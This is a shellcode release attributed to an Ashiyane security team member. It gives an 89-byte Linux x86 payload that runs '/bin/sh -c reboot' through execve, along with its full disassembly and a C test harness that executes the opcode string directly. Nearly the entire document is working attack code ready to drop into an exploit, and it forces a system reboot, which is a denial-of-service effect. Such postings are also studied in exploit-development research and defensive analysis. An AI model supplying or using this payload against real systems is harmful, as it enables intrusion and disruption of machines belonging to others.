# Name: "Linux reboot (bin/sh -c reboot) shellcode" (89 bytes)
# Platform: Linux 32 and 64 bit
# Author: Ashiyane Digital Security Team ~ MALWaRE43
# Contact: usertester123546 [at] gmail.com
# Tested on:
Linux javadkhof 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:39:52 UTC
2016 x86_64 x86_64 x86_64 GNU/Linux
Linux navid 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21)
i686 GNU/Linux
—------------------------------------------------------------------------------
Disassembly of section .shellcode:
08049060 <_start>:
8049060: eb 30 jmp 8049092 <mycall>
08049062 <shellcode>:
8049062: 5e pop %esi
8049063: 31 c0 xor %eax,%eax
8049065: 88 46 07 mov %al,0x7(%esi)
8049068: 88 46 0a mov %al,0xa(%esi)
804906b: 88 46 11 mov %al,0x11(%esi)
804906e: 89 76 12 mov %esi,0x12(%esi)
8049071: 8d 5e 08 lea 0x8(%esi),%ebx
8049074: 89 5e 16 mov %ebx,0x16(%esi)
8049077: 8d 5e 0b lea 0xb(%esi),%ebx
804907a: 89 5e 1a mov %ebx,0x1a(%esi)
804907d: 89 46 1e mov %eax,0x1e(%esi)
8049080: b0 0b mov $0xb,%al
8049082: 89 f3 mov %esi,%ebx
8049084: 8d 4e 12 lea 0x12(%esi),%ecx
8049087: 8d 56 1e lea 0x1e(%esi),%edx
804908a: cd 80 int $0x80
804908c: b0 01 mov $0x1,%al
804908e: 31 db xor %ebx,%ebx
8049090: cd 80 int $0x80
08049092 <mycall>:
8049092: e8 cb ff ff ff call 8049062 <shellcode>
8049097: 2f das
8049098: 62 69 6e bound %ebp,0x6e(%ecx)
804909b: 2f das
804909c: 73 68 jae 8049106 <_end+0x4a>
804909e: 23 2d 63 23 72 65 and 0x65722363,%ebp
80490a4: 62 6f 6f bound %ebp,0x6f(%edi)
80490a7: 74 23 je 80490cc <_end+0x10>
80490a9: 41 inc %ecx
80490aa: 41 inc %ecx
80490ab: 41 inc %ecx
80490ac: 41 inc %ecx
80490ad: 42 inc %edx
80490ae: 42 inc %edx
80490af: 42 inc %edx
80490b0: 42 inc %edx
80490b1: 43 inc %ebx
80490b2: 43 inc %ebx
80490b3: 43 inc %ebx
80490b4: 43 inc %ebx
80490b5: 44 inc %esp
80490b6: 44 inc %esp
80490b7: 44 inc %esp
80490b8: 44 inc %esp
—------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
unsigned char code[] =
"\xeb\x30\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x11\x89\x76\x12\x8d\x5e\x08\x89\x5e\x16\x8d\x5e\x0b\x89\x5e\x1a\x89\x46\x1e\xb0\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1e\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xcb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23\x72\x65\x62\x6f\x6f\x74\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44";
void main(){
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
